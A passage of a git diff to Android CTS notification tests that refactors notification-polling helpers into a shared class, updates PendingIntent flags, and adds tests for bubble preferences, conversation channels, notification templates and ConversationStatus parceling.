import java.util.concurrent.CountDownLatch;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
@@ -165,8 +171,6 @@
private static final String DELEGATOR = "com.android.test.notificationdelegator";
private static final String DELEGATE_POST_CLASS = DELEGATOR + ".NotificationDelegateAndPost";
private static final String REVOKE_CLASS = DELEGATOR + ".NotificationRevoker";
- private static final long SHORT_WAIT_TIME = 100;
- private static final long MAX_WAIT_TIME = 2000;
private static final String SHARE_SHORTCUT_ID = "shareShortcut";
private static final String SHARE_SHORTCUT_CATEGORY =
"android.app.stubs.SHARE_SHORTCUT_CATEGORY";
@@ -198,6 +202,7 @@
private boolean mBubblesEnabledSettingToRestore;
private INotificationUriAccessService mNotificationUriAccessService;
private FutureServiceConnection mTrampolineConnection;
+ private NotificationHelper mNotificationHelper;
@Override
protected void setUp() throws Exception {
@@ -206,6 +211,7 @@
mId = UUID.randomUUID().toString();
mNotificationManager = (NotificationManager) mContext.getSystemService(
Context.NOTIFICATION_SERVICE);
+ mNotificationHelper = new NotificationHelper(mContext, () -> mListener);
// clear the deck so that our getActiveNotifications results are predictable
mNotificationManager.cancelAll();
@@ -382,43 +388,20 @@
}
private StatusBarNotification findPostedNotification(int id, boolean all) {
- // notification is a bit asynchronous so it may take a few ms to appear in
- // getActiveNotifications()
- // we will check for it for up to 1000ms before giving up
- for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
- StatusBarNotification n = findNotificationNoWait(id, all);
- if (n != null) {
- return n;
- }
- try {
- Thread.sleep(SHORT_WAIT_TIME);
- } catch (InterruptedException ex) {
- // pass
- }
- }
- return findNotificationNoWait(id, all);
+ return mNotificationHelper.findPostedNotification(id, all);
}
private StatusBarNotification findNotificationNoWait(int id, boolean all) {
- for (StatusBarNotification sbn : getActiveNotifications(all)) {
- if (sbn.getId() == id) {
- return sbn;
- }
- }
- return null;
+ return mNotificationHelper.findNotificationNoWait(id, all);
}
private StatusBarNotification[] getActiveNotifications(boolean all) {
- if (all) {
- return mListener.getActiveNotifications();
- } else {
- return mNotificationManager.getActiveNotifications();
- }
+ return mNotificationHelper.getActiveNotifications(all);
}
private PendingIntent getPendingIntent() {
return PendingIntent.getActivity(
- getContext(), 0, new Intent(getContext(), this.getClass()), 0);
+ getContext(), 0, new Intent(getContext(), this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
private boolean isGroupSummary(Notification n) {
@@ -534,7 +517,7 @@
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
intent.setAction(Intent.ACTION_MAIN);
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
if (data == null) {
data = new Notification.BubbleMetadata.Builder(pendingIntent,
@@ -682,12 +665,16 @@
}
private void toggleListenerAccess(boolean on) throws IOException {
+ toggleListenerAccess(mContext, on);
+ }
+
+ public static void toggleListenerAccess(Context context, boolean on) throws IOException {
String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
+ TestNotificationListener.getId();
runCommand(command, InstrumentationRegistry.getInstrumentation());
- final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
+ final NotificationManager nm = context.getSystemService(NotificationManager.class);
final ComponentName listenerComponent = TestNotificationListener.getComponentName();
assertEquals(listenerComponent + " has incorrect listener access",
on, nm.isNotificationListenerAccessGranted(listenerComponent));
@@ -730,7 +717,8 @@
}
@SuppressWarnings("StatementWithEmptyBody")
- private void runCommand(String command, Instrumentation instrumentation) throws IOException {
+ private static void runCommand(String command, Instrumentation instrumentation)
+ throws IOException {
UiAutomation uiAutomation = instrumentation.getUiAutomation();
// Execute command
try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
@@ -2609,7 +2597,7 @@
// wait for the activity to launch and finish
mContext.startActivity(activityIntent);
- Thread.sleep(500);
+ Thread.sleep(2000);
NotificationChannel channel =
mContext.createPackageContextAsUser(DELEGATOR, /* flags= */ 0, mContext.getUser())
@@ -2657,20 +2645,35 @@
}
public void testAreBubblesAllowed_appNone() throws Exception {
- setBubblesAppPref(0 /* none */);
+ setBubblesAppPref(BUBBLE_PREFERENCE_NONE);
assertFalse(mNotificationManager.areBubblesAllowed());
}
public void testAreBubblesAllowed_appSelected() throws Exception {
- setBubblesAppPref(2 /* selected */);
+ setBubblesAppPref(BUBBLE_PREFERENCE_SELECTED);
assertFalse(mNotificationManager.areBubblesAllowed());
}
public void testAreBubblesAllowed_appAll() throws Exception {
- setBubblesAppPref(1 /* all */);
+ setBubblesAppPref(BUBBLE_PREFERENCE_ALL);
assertTrue(mNotificationManager.areBubblesAllowed());
}
+ public void testGetBubblePreference_appNone() throws Exception {
+ setBubblesAppPref(BUBBLE_PREFERENCE_NONE);
+ assertEquals(BUBBLE_PREFERENCE_NONE, mNotificationManager.getBubblePreference());
+ }
+
+ public void testGetBubblePreference_appSelected() throws Exception {
+ setBubblesAppPref(BUBBLE_PREFERENCE_SELECTED);
+ assertEquals(BUBBLE_PREFERENCE_SELECTED, mNotificationManager.getBubblePreference());
+ }
+
+ public void testGetBubblePreference_appAll() throws Exception {
+ setBubblesAppPref(BUBBLE_PREFERENCE_ALL);
+ assertEquals(BUBBLE_PREFERENCE_ALL, mNotificationManager.getBubblePreference());
+ }
+
public void testNotificationIcon() {
int id = 6000;
@@ -3718,6 +3721,39 @@
channel.getId(), conversationId).isDemoted());
}
+ public void testDeleteConversationChannels() throws Exception {
+ setUpNotifListener();
+
+ createDynamicShortcut();
+
+ final NotificationChannel channel =
+ new NotificationChannel(mId, "Messages", IMPORTANCE_DEFAULT);
+
+ final NotificationChannel conversationChannel =
+ new NotificationChannel(mId + "child",
+ "Messages from " + SHARE_SHORTCUT_ID, IMPORTANCE_DEFAULT);
+ conversationChannel.setConversationId(channel.getId(), SHARE_SHORTCUT_ID);
+
+ mNotificationManager.createNotificationChannel(channel);
+ mNotificationManager.createNotificationChannel(conversationChannel);
+
+ mNotificationManager.notify(177, getConversationNotification().build());
+
+ if (!checkNotificationExistence(177, /*shouldExist=*/ true)) {
+ fail("couldn't find posted notification id=" + 177);
+ }
+ Thread.sleep(500); // wait for notification listener to receive notification
+ assertEquals(1, mListener.mPosted.size());
+
+ deleteShortcuts();
+
+ Thread.sleep(300); // wait for deletion to propagate
+
+ assertFalse(mNotificationManager.getNotificationChannel(channel.getId(),
+ conversationChannel.getConversationId()).isConversation());
+
+ }
+
public void testActivityStartOnBroadcastTrampoline_isBlocked() throws Exception {
setUpNotifListener();
mListener.addTestPackage(TRAMPOLINE_APP);
@@ -3833,21 +3869,6 @@
}
}
- private static class FutureServiceConnection implements ServiceConnection {
- public final CompletableFuture<IBinder> future = new CompletableFuture<>();
- public IBinder get(long timeoutMs) throws Exception {
- return future.get(timeoutMs, TimeUnit.MILLISECONDS);
- }
- @Override
- public void onServiceConnected(ComponentName name, IBinder service) {
- future.complete(service);
- }
- @Override
- public void onServiceDisconnected(ComponentName name) {
- fail(name + " disconnected");
- }
- }
-
private static class EventCallback extends Handler {
private static final int BROADCAST_RECEIVED = 1;
private static final int SERVICE_STARTED = 2;
diff --git a/tests/app/src/android/app/cts/NotificationTemplateTest.kt b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
new file mode 100644
index 0000000..25b5d40
--- /dev/null
+++ b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts
+
+import android.R
+import android.app.Notification
+import android.app.stubs.NotificationHostActivity
+import android.content.Intent
+import android.graphics.Bitmap
+import android.test.AndroidTestCase
+import android.view.View
+import android.view.ViewGroup
+import android.widget.ImageView
+import android.widget.RemoteViews
+import androidx.annotation.DimenRes
+import androidx.lifecycle.Lifecycle
+import androidx.test.core.app.ActivityScenario
+import androidx.test.core.app.ActivityScenario.ActivityAction
+import com.google.common.truth.Truth.assertThat
+
+class NotificationTemplateTest : AndroidTestCase() {
+ fun testWideIcon_inCollapsedState_cappedTo16By9() {
+ val bitmap = Bitmap.createBitmap(200, 100, Bitmap.Config.ARGB_8888)
+ val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.ic_media_play)
+ .setContentTitle("Title")
+ .setLargeIcon(bitmap)
+ .createContentView()
+ checkViews(views) { activity ->
+ val root = activity.notificationRoot
+ val iconView = findIconView(root, bitmap)!!
+ assertThat(iconView.width.toFloat())
+ .isWithin(1f)
+ .of((iconView.height * 16 / 9).toFloat())
+ }
+ }
+
+ fun testWideIcon_inCollapsedState_canShowExact4By3() {
+ val bitmap = Bitmap.createBitmap(400, 300, Bitmap.Config.ARGB_8888)
+ val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.ic_media_play)
+ .setContentTitle("Title")
+ .setLargeIcon(bitmap)
+ .createContentView()
+ checkViews(views) { activity ->
+ val root = activity.notificationRoot
+ val iconView = findIconView(root, bitmap)
+ ?: throw NullPointerException("Unable to find ")
+ assertThat(iconView.width.toFloat())
+ .isWithin(1f)
+ .of((iconView.height * 4 / 3).toFloat())
+ }
+ }
+
+ fun testWideIcon_inCollapsedState_neverNarrowerThanSquare() {
+ val bitmap = Bitmap.createBitmap(200, 300, Bitmap.Config.ARGB_8888)
+ val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.ic_media_play)
+ .setContentTitle("Title")
+ .setLargeIcon(bitmap)
+ .createContentView()
+ checkViews(views) { activity ->
+ val root = activity.notificationRoot
+ val iconView = findIconView(root, bitmap)!!
+ assertThat(iconView.width).isEqualTo(iconView.height)
+ }
+ }
+
+ private fun findIconView(root: View, icon: Bitmap): ImageView? {
+ (root as? ImageView)?.drawable?.also { drawable ->
+ if (drawable.intrinsicWidth == icon.width && drawable.intrinsicHeight == icon.height) {
+ return root
+ }
+ }
+ if (root is ViewGroup) {
+ for (i in 0 until root.childCount) {
+ findIconView(root.getChildAt(i), icon)?.also { return it }
+ }
+ }
+ return null
+ }
+
+ private fun checkViews(
+ views: RemoteViews,
+ @DimenRes heightDimen: Int? = null,
+ activityAction: ActivityAction<NotificationHostActivity>
+ ) {
+ val activityIntent = Intent(context, NotificationHostActivity::class.java)
+ activityIntent.putExtra(NotificationHostActivity.EXTRA_REMOTE_VIEWS, views)
+ heightDimen?.also {
+ activityIntent.putExtra(NotificationHostActivity.EXTRA_HEIGHT,
+ context.resources.getDimensionPixelSize(it))
+ }
+ ActivityScenario.launch<NotificationHostActivity>(activityIntent).also { scenario ->
+ scenario.moveToState(Lifecycle.State.RESUMED)
+ scenario.moveToState(Lifecycle.State.STARTED)
+ scenario.moveToState(Lifecycle.State.CREATED)
+ scenario.onActivity(activityAction)
+ scenario.moveToState(Lifecycle.State.DESTROYED)
+ }
+ }
+
+ companion object {
+ const val DEBUG = false
+ val TAG = NotificationTemplateTest::class.java.simpleName
+ const val NOTIFICATION_CHANNEL_ID = "NotificationTemplateTest"
+ }
+}
\ No newline at end of file
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index d7c27b3..e718d10 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -147,11 +147,11 @@
mNotification.icon = 0;
mNotification.number = 1;
final Intent intent = new Intent();
- final PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+ final PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mNotification.contentIntent = pendingIntent;
final Intent deleteIntent = new Intent();
final PendingIntent delPendingIntent = PendingIntent.getBroadcast(
- mContext, 0, deleteIntent, 0);
+ mContext, 0, deleteIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mNotification.deleteIntent = delPendingIntent;
mNotification.tickerText = TICKER_TEXT;
@@ -251,7 +251,7 @@
public void testBuilder() {
final Intent intent = new Intent();
- final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+ final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.BubbleMetadata bubble = makeBubbleMetadata();
mNotification = new Notification.Builder(mContext, CHANNEL.getId())
.setSmallIcon(1)
@@ -292,7 +292,7 @@
public void testActionBuilder() {
final Intent intent = new Intent();
- final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+ final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mAction = null;
mAction = new Notification.Action.Builder(0, ACTION_TITLE, actionIntent)
.setAuthenticationRequired(true)
@@ -551,7 +551,7 @@
}
public void testAction_builder_contextualAction_nullIcon() {
- PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.Action.Builder builder =
new Notification.Action.Builder(null /* icon */, "title", pendingIntent)
.setContextual(true);
@@ -628,8 +628,8 @@
}
public void testBubbleMetadataBuilder() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
- PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+ PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Icon icon = Icon.createWithResource(mContext, 1);
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -646,8 +646,8 @@
}
public void testBubbleMetadata_parcel() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
- PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+ PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Icon icon = Icon.createWithResource(mContext, 1);
Notification.BubbleMetadata metadata =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -667,7 +667,7 @@
}
public void testBubbleMetadataBuilder_shortcutId() {
- PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
.setDesiredHeight(BUBBLE_HEIGHT)
@@ -682,7 +682,7 @@
}
public void testBubbleMetadataBuilder_parcelShortcutId() {
- PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.BubbleMetadata metadata =
new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
@@ -701,7 +701,7 @@
}
public void testBubbleMetadata_parcelResId() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Icon icon = Icon.createWithResource(mContext, 1);
Notification.BubbleMetadata metadata =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -737,7 +737,7 @@
}
public void testBubbleMetadataBuilder_shortcutBuilder_throwsForSetIntent() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
try {
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
@@ -801,7 +801,7 @@
new Canvas(b).drawColor(0xffff0000);
Icon icon = Icon.createWithAdaptiveBitmap(b);
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon);
Notification.BubbleMetadata metadata = metadataBuilder.build();
@@ -812,7 +812,7 @@
public void testBubbleMetadataBuilder_noThrowForNonBitmapIcon() {
Icon icon = Icon.createWithResource(mContext, R.drawable.ic_android);
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon);
Notification.BubbleMetadata metadata = metadataBuilder.build();
@@ -821,8 +821,8 @@
}
public void testBubbleMetadataBuilder_replaceHeightRes() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
- PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+ PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Icon icon = Icon.createWithResource(mContext, 1);
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -838,8 +838,8 @@
}
public void testBubbleMetadataBuilder_replaceHeightDp() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
- PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+ PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Icon icon = Icon.createWithResource(mContext, 1);
Notification.BubbleMetadata.Builder metadataBuilder =
new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -964,7 +964,7 @@
}
private Notification.BubbleMetadata makeBubbleMetadata() {
- PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
return new Notification.BubbleMetadata.Builder(bubbleIntent,
Icon.createWithResource(mContext, 1))
diff --git a/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java b/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
index 8d1ab70..6a84d88 100644
--- a/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
+++ b/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
@@ -48,7 +48,7 @@
}
private RecoverableSecurityException build() {
- final PendingIntent pi = PendingIntent.getActivity(getContext(), 42, new Intent(), 0);
+ final PendingIntent pi = PendingIntent.getActivity(getContext(), 42, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
return new RecoverableSecurityException(new SecurityException("foo"), "bar",
new RemoteAction(Icon.createWithFilePath("/dev/null"), "title", "content", pi));
}
diff --git a/tests/app/src/android/app/cts/WearableExtenderTest.java b/tests/app/src/android/app/cts/WearableExtenderTest.java
index 768eb25..bcdb36d 100644
--- a/tests/app/src/android/app/cts/WearableExtenderTest.java
+++ b/tests/app/src/android/app/cts/WearableExtenderTest.java
@@ -44,7 +44,7 @@
final String dismissalId = "dismissal_id";
final int contentActionIndex = 2;
final Bitmap background = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
- PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification page1 = new Notification.Builder(mContext, "test id")
.setSmallIcon(1)
.setContentTitle("page1")
@@ -196,7 +196,7 @@
final int contentActionIndex = 2;
Notification.Action action = newActionBuilder().build();
final Bitmap background = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
- PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification page1 = new Notification.Builder(mContext, "test id")
.setSmallIcon(1)
.setContentTitle("page1")
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java b/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java
new file mode 100644
index 0000000..2a6f5c3
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.content.ComponentName;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+public class FutureServiceConnection implements ServiceConnection {
+ private static final String TAG = "FutureServiceConnection";
+
+ private volatile CompletableFuture<IBinder> mFuture = new CompletableFuture<>();
+
+ public IBinder get(long timeoutMs) throws Exception {
+ return mFuture.get(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ mFuture.complete(service);
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ Log.w(TAG, name.flattenToShortString() + " disconnected");
+ mFuture = new CompletableFuture<>();
+ }
+}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/NotificationHelper.java b/tests/app/src/android/app/cts/android/app/cts/tools/NotificationHelper.java
new file mode 100644
index 0000000..e4a4721
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/NotificationHelper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.app.NotificationManager;
+import android.app.PendingIntent.CanceledException;
+import android.app.stubs.TestNotificationListener;
+import android.content.Context;
+import android.service.notification.StatusBarNotification;
+
+import java.util.function.Supplier;
+
+public class NotificationHelper {
+ public static final long SHORT_WAIT_TIME = 100;
+ public static final long MAX_WAIT_TIME = 2000;
+
+ private final Context mContext;
+ private final NotificationManager mNotificationManager;
+ private Supplier<TestNotificationListener> mNotificationListener;
+
+ public NotificationHelper(Context context, Supplier<TestNotificationListener> listener) {
+ mContext = context;
+ mNotificationManager = mContext.getSystemService(NotificationManager.class);
+ mNotificationListener = listener;
+ }
+
+ public void clickNotification(int notificationId, boolean searchAll) throws CanceledException {
+ findPostedNotification(notificationId, searchAll).getNotification().contentIntent.send();
+ }
+
+ public StatusBarNotification findPostedNotification(int id, boolean all) {
+ // notification is a bit asynchronous so it may take a few ms to appear in
+ // getActiveNotifications()
+ // we will check for it for up to 1000ms before giving up
+ for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
+ StatusBarNotification n = findNotificationNoWait(id, all);
+ if (n != null) {
+ return n;
+ }
+ try {
+ Thread.sleep(SHORT_WAIT_TIME);
+ } catch (InterruptedException ex) {
+ // pass
+ }
+ }
+ return findNotificationNoWait(id, all);
+ }
+
+ public StatusBarNotification findNotificationNoWait(int id, boolean all) {
+ for (StatusBarNotification sbn : getActiveNotifications(all)) {
+ if (sbn.getId() == id) {
+ return sbn;
+ }
+ }
+ return null;
+ }
+
+ public StatusBarNotification[] getActiveNotifications(boolean all) {
+ if (all) {
+ return mNotificationListener.get().getActiveNotifications();
+ } else {
+ return mNotificationManager.getActiveNotifications();
+ }
+ }
+}
diff --git a/tests/app/src/android/app/people/cts/ConversationStatusTest.java b/tests/app/src/android/app/people/cts/ConversationStatusTest.java
new file mode 100644
index 0000000..2c644b9
--- /dev/null
+++ b/tests/app/src/android/app/people/cts/ConversationStatusTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.people.cts;
+
+import static android.app.people.ConversationStatus.ACTIVITY_GAME;
+import static android.app.people.ConversationStatus.AVAILABILITY_BUSY;
+
+import android.app.people.ConversationStatus;
+import android.content.Context;
+import android.graphics.drawable.Icon;
+import android.os.Parcel;
+import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+public class ConversationStatusTest extends AndroidTestCase {
+
+ private Context mContext;
+
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ }
+
+ public void testCreation() {
+ final ConversationStatus cs =
+ new ConversationStatus.Builder("id", ACTIVITY_GAME)
+ .setIcon(Icon.createWithResource(mContext, android.R.drawable.btn_default))
+ .setDescription("playing chess")
+ .setAvailability(AVAILABILITY_BUSY)
+ .setEndTimeMillis(1000)
+ .setStartTimeMillis(100)
+ .build();
+
+ assertEquals("id", cs.getId());
+ assertEquals(ACTIVITY_GAME, cs.getActivity());
+ assertEquals(AVAILABILITY_BUSY, cs.getAvailability());
+ assertEquals(100, cs.getStartTimeMillis());
+ assertEquals(1000, cs.getEndTimeMillis());
+ assertEquals(android.R.drawable.btn_default, cs.getIcon().getResId());
+ assertEquals("playing chess", cs.getDescription());
+ }
+
+ public void testParcelEmpty() {
+ final ConversationStatus orig = new ConversationStatus.Builder("id", 100).build();
+
+ Parcel parcel = Parcel.obtain();
+ orig.writeToParcel(parcel, 0);
+
+ parcel.setDataPosition(0);
+
+ ConversationStatus cs = ConversationStatus.CREATOR.createFromParcel(parcel);
+
+ assertEquals("id", cs.getId());
+ assertEquals(100, cs.getActivity());
+ assertEquals(ConversationStatus.AVAILABILITY_UNKNOWN, cs.getAvailability());
+ assertEquals(-1, cs.getStartTimeMillis());
+ assertEquals(-1, cs.getEndTimeMillis());
+ assertNull(cs.getIcon());
+ assertNull(cs.getDescription());
+ }
+
+ public void testParcel() {
+ final ConversationStatus orig =
+ new ConversationStatus.Builder("id", ACTIVITY_GAME)
+ .setIcon(Icon.createWithResource(mContext, android.R.drawable.btn_default))
+ .setDescription("playing chess")
+ .setAvailability(AVAILABILITY_BUSY)
+ .setEndTimeMillis(1000)
+ .setStartTimeMillis(100)
+ .build();
+
+ Parcel parcel = Parcel.obtain();
+ orig.writeToParcel(parcel, 0);
+
+ parcel.setDataPosition(0);
+
+ ConversationStatus cs = ConversationStatus.CREATOR.createFromParcel(parcel);
+
+ assertEquals("id", cs.getId());
+ assertEquals(ACTIVITY_GAME, cs.getActivity());
+ assertEquals(AVAILABILITY_BUSY, cs.getAvailability());
+ assertEquals(100, cs.getStartTimeMillis());
+ assertEquals(1000, cs.getEndTimeMillis());
+ assertEquals(android.R.drawable.btn_default, cs.getIcon().getResId());
+ assertEquals("playing chess", cs.getDescription());
+ }
+}
+
diff --git a/tests/app/src/android/app/people/cts/PeopleManagerTest.java b/tests/app/src/android/app/people/cts/PeopleManagerTest.java
